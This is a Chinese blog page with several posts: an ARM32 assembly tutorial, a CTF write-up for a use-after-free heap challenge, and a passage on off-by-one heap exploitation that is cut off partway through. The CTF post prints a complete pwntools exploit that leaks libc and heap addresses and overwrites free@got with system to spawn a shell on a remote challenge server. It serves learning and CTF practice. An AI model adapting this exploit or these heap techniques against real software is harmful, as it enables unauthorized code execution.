<h3 id="0x01-ARM32汇编中寄存器"><a href="#0x01-ARM32汇编中寄存器" class="headerlink" title="0x01. ARM32汇编中寄存器"></a>0x01. ARM32汇编中寄存器</h3><p>ARM32微处理器共有37个32位寄存器,其中31个为通用寄存器,6个为状态寄存器。ARM微处理器支持7种运行模式,分别是:用户模式(usr)、快速中断模式(fiq)、外部中断模式(irq)、管理模式(svc)、数据访问终止模式(abt)、系统模式(sys)、未定义指令中止模式(und)。由于ARM微处理器正常的程序执行状态为用户模式,因此先了解一下用户模式下ARM32。<br>在用户模式下,ARM32微处理器可以访问的寄存器有:不分组的寄存器R0-R7、分组寄存器R8-R14、程序计数器R15(PC)以及当前程序状态寄存器CPSR。<strong>ARM遵循ATPCS规则,ARM32汇编语言函数前4个参数使用R0-R3寄存器传递,多于4个的参数均通过堆栈传递,并且返回值通过R0寄存器返回。在使用软中断进行系统调时,系统调用号通过R7寄存器传递,用SWI指令产生软中断,实现从用户模式到管理模式的切换。例如,调用exit(0)的汇编代码如下:</strong></p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">MOV</span> <span class="built_in">R0</span>, <span class="number">#0</span> <span class="comment">@参数0</span></span><br><span class="line"><span class="keyword">MOv</span> <span class="built_in">R7</span>, <span class="number">#1</span> <span class="comment">@系统功能号1为 exit</span></span><br><span class="line"><span class="keyword">SWI</span> <span class="number">#0</span> <span class="comment">@执行 exit(0)</span></span><br></pre></td></tr></table></figure>
<p>ARM32微处理器有两种工作状态:ARM32状态与Thumb状态。处理器可以在两种状态之间随意切换,当处理器处于ARM状态时,会执行32位对齐的ARM指令;当处于Thumb状态时,会执行16位对齐的Thumb指令。Thumb状态下对寄存器的命名与ARM32有部分差异,它们的关系如下表所示。</p>
<table>
<thead>
<tr>
<th align="center">Thumb状态下寄存器</th>
<th align="center">ARM32状态下寄存器</th>
<th align="center">用途</th>
</tr>
</thead>
<tbody><tr>
<td align="center">R0-R7</td>
<td align="center">R0-R7</td>
<td align="center">通用寄存器</td>
</tr>
<tr>
<td align="center">CPSR</td>
<td align="center">CPSR</td>
<td align="center">程序状态寄存器</td>
</tr>
<tr>
<td align="center">SL</td>
<td align="center">R10</td>
<td align="center">栈限制寄存器</td>
</tr>
<tr>
<td align="center">FP</td>
<td align="center">R11</td>
<td align="center">桢指针寄存器</td>
</tr>
<tr>
<td align="center">IP</td>
<td align="center">R12</td>
<td align="center">内部过程调用寄存器</td>
</tr>
<tr>
<td align="center">SP</td>
<td align="center">R13</td>
<td align="center">栈顶指针寄存器</td>
</tr>
<tr>
<td align="center">LR</td>
<td align="center">R14</td>
<td align="center">子程序链接寄存器</td>
</tr>
<tr>
<td align="center">PC</td>
<td align="center">R15</td>
<td align="center">程序计数器</td>
</tr>
</tbody></table>
<h3 id="0x02-ARM32处理器寻址方式"><a href="#0x02-ARM32处理器寻址方式" class="headerlink" title="0x02. ARM32处理器寻址方式"></a>0x02. ARM32处理器寻址方式</h3><p>ARM微处理器采用的是精简指令集,指令间的组合灵活。ARM微处理器支持九种寻址方式,分别是:立即寻址、寄存器寻址、寄存器移位寻址、寄存器间接寻址、基址寻址、多寄存器寻址、堆栈寻址、块拷贝寻址、相对寻址。先介绍其中几种寻址方式。</p>
<ol>
<li><p>寄存器移位寻址<br>寄存器移位寻址是ARM指令集特有的寻址方式,寄存器移位寻址方式:在操作前对源寄存器操作数进行移位操作。支持以下5种移位操作:<br>LSL: 逻辑左移,移位后寄存器空出的低位补0。<br>LSR: 逻辑右移,移位后寄存器空出的高位补0。<br>ASR: 算术右移,移位过程中符号位保持不变,如果源操作数为正数,则移位后寄存器空出的高位补0;否则补1。<br>ROR: 循环右移,移位后移出的低位填入移位空出的高位。<br>RRX: 带扩展的循环右移,操作数右移一位,移位后寄存器空出的高位用C标志的值填充。<br>例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">MOV</span> <span class="built_in">R0</span>, <span class="built_in">R1</span>, <span class="keyword">LSL</span> <span class="number">#2</span> <span class="comment">@R0=R1*4</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>基址寻址<br>基址寻址是将基址寄存器与偏移量相加,形成操作数的有效地址,所需的操作数保存在有效地址所指向的存储单元中。基址寻址多用于查表、数据访问等操作。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">LDR</span> <span class="built_in">R0</span>, [<span class="built_in">R1</span>, #-<span class="number">4</span>] <span class="comment">@R0=[R1-4]</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>多寄存器寻址<br>多寄存器寻址一条指令最多可以完成16个通用寄存器值的传送。比如LDMIA和LDMIB指令,LDM是数据加载指令,指令的后缀IA表示每次执行完加载操作后寄存器的值自增1个字;指令的后缀IB表示每次执行加载操作前寄存器的值自增1个字;还有两条指令后缀DA和DB,分别表示在指令操作后和操作前寄存器的值自减1个字。ARM32指令集中,字表示一个32位的数字,注意:该条指令的源寄存器与目的寄存器位置。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">LDMIA</span> <span class="built_in">R0</span>, {<span class="built_in">R1</span>, <span class="built_in">R2</span>, <span class="built_in">R3</span>, <span class="built_in">R4</span>} <span class="comment">@R1=[R0], R2=[R0+4], R3=[R0+8], R4=[R0+12]</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>堆栈寻址<br>堆栈寻址是ARM指令集特有的一种寻址方式,堆栈寻址需要使用特定的指令来完成。堆栈寻址的指令有LDMFA/STMFA、LDMEA/STMEA、LDMFD/STMFD、LDMED/STMED。LDM和STM为指令前缀,表示多寄存器寻址。FA(Full Ascending stack)、FD(Full Descending stack)、EA、ED为指令后缀,其中:FA表示满递增堆栈,堆栈向高地址生长,堆栈指针指向下一个要放入的空地址;<strong>FD表示满递减堆栈,堆栈向低地址生长,堆栈指针指向最后一个入栈的有效数据数据项;</strong> EA表示空递增堆栈,堆栈向高地址生长;ED空递减堆栈,堆栈向低地址生长。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">STMFD</span> <span class="built_in">SP</span>!, {<span class="built_in">R1</span>-<span class="built_in">R7</span>, <span class="built_in">LR</span>} <span class="comment">@将R1-R7, LR入栈,多用于保护子程序现场</span></span><br><span class="line"><span class="keyword">LDMFD</span> <span class="built_in">SP</span>!, {<span class="built_in">R1</span>-<span class="built_in">R7</span>, <span class="built_in">LR</span>} <span class="comment">@将数据出栈,放入R1-R7, LR寄存器。多用于恢复子程序现场</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>块拷贝寻址<br>块拷贝寻址可实现连续地址数据从存储器的某一位置拷贝到另一位置。块拷贝寻址的指令有LDMIA/STMIA、LDMDA/STMDA、LDMIB/STMIB、LDMDB/STMDB。指令前缀和指令后缀前面已经介绍了。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">STMIA</span> <span class="built_in">R0</span>!, {<span class="built_in">R1</span>-<span class="built_in">R3</span>} <span class="comment">@从R0寄存器指向的存储单元中读取3个字到R1-R3寄存器</span></span><br><span class="line"><span class="keyword">LDMIA</span> <span class="built_in">R0</span>!, {<span class="built_in">R1</span>-<span class="built_in">R3</span>} <span class="comment">@存储R1-R3寄存器的内容到R0寄存器指向的存储单元</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>相对寻址<br>相对寻址以程序计数器PC的当前值为基地址,指令中的地址标作为偏移量,将两者相加之后得到操作数的有效地址。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">BL</span> NEXT</span><br><span class="line"> ....</span><br><span class="line"><span class="symbol">NEXT</span>:</span><br><span class="line"> ....</span><br></pre></td></tr></table></figure></li>
</ol>
<h3 id="0x03-ARM32指令集与Thumb指令集"><a href="#0x03-ARM32指令集与Thumb指令集" class="headerlink" title="0x03. ARM32指令集与Thumb指令集"></a>0x03. ARM32指令集与Thumb指令集</h3><p>前面讲过ARM32微处理器有ARM32与Thumb两种工作状态,因此,有ARM32与Thumbe指令集。一般地,ARM32指令集每条指令占4个字节码,Thumb指令集每条指令占2个字节码,两者不能混用。但是可以通过BX、BLX等指令在跳转的时候实现切换。同时,在使用IDA进行逆向时,IDA对此识别也有问题,可能会把Thumb的代码识别为ARM,或者反过来。一旦调试起来,运行到相应位置,便会报出异常,导致程序退出,我们可以使用Alt+G可以修改相应的识别。</p>
<ol>
<li>跳转指令<br>ARM中有两种方式可以实现程序挑战:一种是使用挑战指令直接跳转;另一种是给PC寄存器直接赋值实现挑战。跳转指令有4种:B跳转指令、BL带链接的跳转指令、LX带状态切换的跳转指令、BLX带链接和状态切换的跳转指令。</li>
</ol>
<p><strong>现在介绍下ARM32指令集与Thumb指令集切换方法,在BX和BLX指令跳转时,判断目标地址最低位是否为1。</strong><br>如果为1,跳转时将CPSR寄存器标志T置位,并将目标地址处的代码解释位Thumb代码,处理器切换到Thumb状态;<br>如果为0,跳转时将CPSR寄存器标志T复位,并将目标地址处的代码解释位ARM32代码,处理器切换到ARM32状态。</p>
<ol start="2">
<li><p>ARM32与Thumb跳转偏移计算<br>ARM32: 低27位是偏移位置,下跳: 偏移=(目标地址 - 当前PC地址)/指令长度; 正数下跳,负数上跳。<br>Thumb: 目标地址 = 偏移 * 指令长度 + 当前PC地址</p>
</li>
<li><p>ARM指令执行(多流水线)<br>ARM指令执行分为3步:取地址 ->分析 ->运行。在涉及程序计数器相加时需要注意。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">@ 1 取地址 ->分析 ->运行</span></span><br><span class="line"><span class="comment">@ 2 取地址 ->分析 ->运行</span></span><br><span class="line"><span class="comment">@ 3 取地址 ->分析 ->运行</span></span><br><span class="line"><span class="comment">@ 因此,执行一条涉及PC的指令时,PC一般指向下两条指令的地址;</span></span><br><span class="line"><span class="comment">@ 例如: Thumb指令集, PC = PC + 2*2; ARM32指令集,PC = PC + 4*2</span></span><br><span class="line"><span class="comment">@ R2=0x30c2, PC = PC + 2*2, R2 = 0x756A8F12 + 4 + 0x30c2 = 0x756ABFD8</span></span><br><span class="line"><span class="number">0x756A8F12</span> <span class="keyword">ADD</span> <span class="built_in">R2</span>, <span class="built_in">PC</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></li>
</ol>
<h3 id="0x04-参考文献"><a href="#0x04-参考文献" class="headerlink" title="0x04. 参考文献"></a>0x04. 参考文献</h3><p><a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/ARM_architecture">1. Wiki ARM Architecture</a><br><a target="_blank" rel="noopener" href="https://book.douban.com/subject/20556210/">2. Android软件安全与逆向分析</a><br><a target="_blank" rel="noopener" href="http://blog.csdn.net/tigerjibo/article/details/6050649">3. ARM汇编之寄存器</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/04/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BUse-after-free%E5%AE%9E%E4%BE%8B/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2017/03/04/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BUse-after-free%E5%AE%9E%E4%BE%8B/" class="post-title-link" itemprop="url">Linux堆漏洞之Use after free实例</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2017-03-04 23:39:08" itemprop="dateCreated datePublished" datetime="2017-03-04T23:39:08+00:00">2017-03-04</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2017-03-05 21:00:14" itemprop="dateModified" datetime="2017-03-05T21:00:14+00:00">2017-03-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>前天遇到一题含有Use after free的PWN,题目开启了NX、PIE等防护。我花了一天时间磕磕碰碰,最终弄出来了,现记录下过程。</p>
<h3 id="0x01-漏洞利用思路"><a href="#0x01-漏洞利用思路" class="headerlink" title="0x01. 漏洞利用思路"></a>0x01. 漏洞利用思路</h3><p><strong>漏洞位置:</strong> 该题存在两个漏洞,一个是Use after free导致的地址泄漏;一个是栈溢出导致的任意地址写。漏洞如下图:<br><img src="http://d0m021ng.github.io/images/uaf_0.png" alt="我的图片"></p>
<!-- ![我的图片](images/uaf_0.png) -->
<p><strong>利用思路:</strong> 首先,利用Use after free泄漏libc以及堆块基址。由于题目将代码段的item_free函数地址存储在堆上,因此,利用栈溢出任意地址写结合Use after free可以泄漏代码段的地址。最后利用system地址覆盖free函数的got,然后free堆块就可以了。</p>
<h3 id="0x02-漏洞利用代码"><a href="#0x02-漏洞利用代码" class="headerlink" title="0x02. 漏洞利用代码"></a>0x02. 漏洞利用代码</h3><p>漏洞利用代码如下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> p = process(<span class="string">'./itemboard'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> p = remote(<span class="string">"pwn2.jarvisoj.com"</span>, <span class="number">9887</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">new_item</span>(<span class="params">name, length, des</span>):</span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Item name?'</span>)</span><br><span class="line"> p.sendline(name)</span><br><span class="line"> p.recvuntil(<span class="string">'len?'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(length))</span><br><span class="line"> p.recvuntil(<span class="string">'Description?'</span>)</span><br><span class="line"> p.sendline(des)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">list_item</span>():</span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"> <span class="built_in">print</span> p.recvuntil(<span class="string">'1.'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show_item</span>(<span class="params">num, ans=<span class="string">'Description:'</span></span>):</span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Which item?'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(num))</span><br><span class="line"> p.recvuntil(ans)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete_item</span>(<span class="params">num</span>):</span><br><span class="line"> p.recvuntil(<span class="string">'choose:'</span>)</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Which item?'</span>)</span><br><span class="line"> p.sendline(<span class="built_in">str</span>(num))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 1. Leaking libc address and heap address!</span></span><br><span class="line"> new_item(<span class="string">'0'</span>*<span class="number">8</span>, <span class="number">256</span>, <span class="string">'0'</span>*<span class="number">16</span>)</span><br><span class="line"> new_item(<span class="string">'1'</span>*<span class="number">8</span>, <span class="number">32</span>, <span class="string">'1'</span>*<span class="number">16</span>)</span><br><span class="line"> delete_item(<span class="number">0</span>)</span><br><span class="line"> show_item(<span class="number">0</span>) </span><br><span class="line"> addr = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> main_arena = u64(addr[<span class="number">0</span>:-<span class="number">1</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"> delete_item(<span class="number">1</span>)</span><br><span class="line"> show_item(<span class="number">1</span>)</span><br><span class="line"> addr = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> heap_addr = u64(addr[<span class="number">0</span>:-<span class="number">1</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> DEBUG:</span><br><span class="line"> libc = main_arena - <span class="number">0x3c3b10</span> - <span class="number">0x68</span></span><br><span class="line"> system_addr = libc + <span class="number">0x45390</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> libc = main_arena - <span class="number">0x3be740</span> - <span class="number">0x78</span></span><br><span class="line"> system_addr = libc + <span class="number">0x46590</span></span><br><span class="line"></span><br><span class="line"> log.success(<span class="string">"libc address: "</span> + <span class="built_in">hex</span>(libc))</span><br><span class="line"> log.success(<span class="string">"system address: "</span> + <span class="built_in">hex</span>(system_addr))</span><br><span class="line"> log.success(<span class="string">"heap address: "</span> + <span class="built_in">hex</span>(heap_addr))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 2. Getting .text address</span></span><br><span class="line"> payload = p64(heap_addr)</span><br><span class="line"> payload = payload.ljust(<span class="number">1032</span>, <span class="string">'a'</span>)</span><br><span class="line"> payload += p64(heap_addr + <span class="number">0x38</span>)</span><br><span class="line"> new_item(p64(heap_addr - <span class="number">0x10</span>), <span class="number">1048</span>, payload)</span><br><span class="line"> show_item(<span class="number">1</span>, <span class="string">'Name:'</span>)</span><br><span class="line"> addr = p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> item_free = u64(addr[<span class="number">0</span>:-<span class="number">1</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"> text = item_free - <span class="number">0xb39</span></span><br><span class="line"> free_got = text + <span class="number">0x202018</span></span><br><span class="line"> log.success(<span class="string">"text address: "</span> + <span class="built_in">hex</span>(text))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 3. Overwriting free_got</span></span><br><span class="line"> payload = p64(system_addr)</span><br><span class="line"> payload = payload.ljust(<span class="number">1032</span>, <span class="string">'a'</span>)</span><br><span class="line"> payload += p64(heap_addr - <span class="number">0x148</span>)</span><br><span class="line"> new_item(<span class="string">"/bin/sh\x00"</span>, <span class="number">32</span>, p64(free_got))</span><br><span class="line"> new_item(<span class="string">'4'</span>*<span class="number">16</span>, <span class="number">1048</span>, payload)</span><br><span class="line"> delete_item(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"> p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> exp()</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="0x03-体会"><a href="#0x03-体会" class="headerlink" title="0x03. 体会"></a>0x03. 体会</h3><p>由于接触堆漏洞时间短,没有大量训练,解决这道题时遇到各种坑,记录下体会。首先,一开始发现了栈溢出,但是没想到如何利用,就忘记了,忘记了。然后发现Use after free可以泄漏地址,但只泄漏了fast bin中堆基址,而没想到泄漏unsorted bin中libc地址。与此同时,发现可以Double free,就一直在想如何构造伪块,利用Large bin attack覆盖tls_dtors_list地址,但是strcpy复制输入数据到堆上时会截断NULL字节并且Large bin attack在当前版本的glibc(2.23)已经失效。尝试了几次,发现这条路走不通。我就重新认真思考,突然发现既然能泄漏堆块基址,就可以泄漏libc基址。当泄漏了libc基址和堆块地址,就在想如何覆盖<a href="mailto:free@got.plt">free@got.plt</a>,但是Large bin attack在当前版本glibc已经失效。然后在午睡的时候,突然灵光一闪,发现栈溢出这块还没有利用,认真分析了一下栈溢出可以覆盖的内容,发现可以通过覆盖栈上item地址,造成任意地址写。已经快接近成功了,但是由于程序开启的PIE导致代码段地址随机,无法获取<a href="mailto:free@got.plt">free@got.plt</a>地址。就在想如何泄漏text段地址,通过调试观察堆上内容,发现text段的item_free函数的地址存储在堆上。于是,通过任意地址写结合Use after free泄漏text段地址,从而获取<a href="mailto:free@got.plt">free@got.plt</a>地址,最终成功。<br><strong>PS:我在Ubuntu14.04(glibc 2.19)上通过Overwriting tls_dtors_list可以利用成功,但是在打远程时由于tls_dtors_list地址偏移不一致,导致失败。</strong></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/01/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8Boff-by-one/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2017/03/01/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8Boff-by-one/" class="post-title-link" itemprop="url">Linux堆漏洞之off-by-one</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2017-03-01 15:53:51" itemprop="dateCreated datePublished" datetime="2017-03-01T15:53:51+00:00">2017-03-01</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2017-03-25 15:47:58" itemprop="dateModified" datetime="2017-03-25T15:47:58+00:00">2017-03-25</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>不同于栈上的off-by-one漏洞,堆上的off-by-one漏洞利用更加复杂灵活。本文参考了一下别人的文章,介绍下Linux堆漏洞off-by-one利用技术,如有错误,欢迎斧正。</p>
<h3 id="0x01-off-by-one原理"><a href="#0x01-off-by-one原理" class="headerlink" title="0x01. off-by-one原理"></a>0x01. off-by-one原理</h3><p>off-by-one漏洞即一个字节溢出,这种漏洞一般情况下很难利用,但是在堆上却有很多利用方式。了解Linux glibc堆分配器ptmalloc2的知道,我们可以通过off-by-one覆盖堆块头的size字段,从而改变该堆块的大小或inuse位,利用堆块覆盖或unlink达到想要的目的。<br><strong>由于glibc堆分配器的字节对齐机制,并不是所有的off-by-one漏洞都可以利用。</strong> 例如:32位系统,按照8字节进行对齐,如果malloc(512),那么实际会分配512+4*2=520字节,其中8字节为prev_size和size字段大小,off-by-one只会覆盖prev_size字段最低字节造成无法利用;如果malloc(508),由于508+8=516字节,516字节不满足8字节对齐,并且考虑到下一块的prev_size字段(4字节)在前一块已分配时,可以填充前一块数据,实际上只会分配508+4=512字节,off-by-one会覆盖size字段最低字节可以利用。同理,64位系统,按照16字节进行对齐,如果malloc(512),那么实际会分配512+8*2=528字节;如果malloc(504),那么实际会分配504+8=512字节。</p>
<h3 id="0x02-off-by-one利用技巧"><a href="#0x02-off-by-one利用技巧" class="headerlink" title="0x02. off-by-one利用技巧"></a>0x02. off-by-one利用技巧</h3><p>如果堆上的off-by-one可以利用,那么有两类利用方式:一类是覆盖size字段inuse位,在free时触发unlink机制;另一类是覆盖size字段最低字节,从而改变堆块大小,使该堆块包含后一块,free掉该堆块之后,再malloc(稍大于该堆块加后一块的大小),就可以对后一块进行读写。</p>
<ol>
<li><p>利用unlink机制<br>这一类利用方式分两种情况:一种是Small bin unlink,另一种是Large bin unlink。</p>
<p><strong>Small bin unlink:</strong> 利用方式已经在<a target="_blank" rel="noopener" href="http://d0m021ng.github.io/2017/02/24/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BDouble-free/">Linux堆漏洞之Double-free</a>中介绍过,虽然是不同的漏洞,但是主要利用原理还是类似的,就不介绍了。</p>
<p><strong>Large bin unlink:</strong> 利用方式在glibc 2.20版之后已经失效,但还是有必要介绍一下其中一些思路。该攻击最早出现在2014年Google Project Zero项目的一篇文章中<a target="_blank" rel="noopener" href="https://googleprojectzero.blogspot.fr/2014/08/the-poisoned-nul-byte-2014-edition.html">The poisoned NUL byte, 2014 edition</a>。在Linux堆漏洞之Double-free中已经讲过unlink宏,其中只讲到unlink Small bin时进行的操作,只需绕过第一层双向循环链表检查就可以利用unlink。如果unlink Large bin,由于Large bin块含有字段fd_nextsize和bk_nextsize,在绕过第一层双向循环链表检查还会进行第二次双向循环链表检查。但是在glibc早期版本(2.19之前),第二次双向循环链表检查只通过断言(assert)形式,属于调试信息,不能真正的对漏洞进行有效的防护。从而可以利用Large bin unlink导致一次任意地址写,然后利用overwriting tls_dtor_list实现漏洞利用。在程序main()函数结束调用exit()函数时,会遍历tls_dtor_list调用一些处理收尾工作的函数,如果通过overwriting tls_dtor_list使其指向伪造的tls_dtor_list,就可以调用自己的函数(如system(‘/bin/sh’))。在当前版本的glibc(2.23)中,unlink宏在unlink Large bin 时会进行双向链表检查,而且在__call_dtors_list中获取tls_dtor_list时也做了一些限制,导致很难利用Large bin unlink。 <strong>Overwriting tls_dtor_list是一个很好的利用点,但是目前我还没有找到如何利用。</strong></p>
</li>
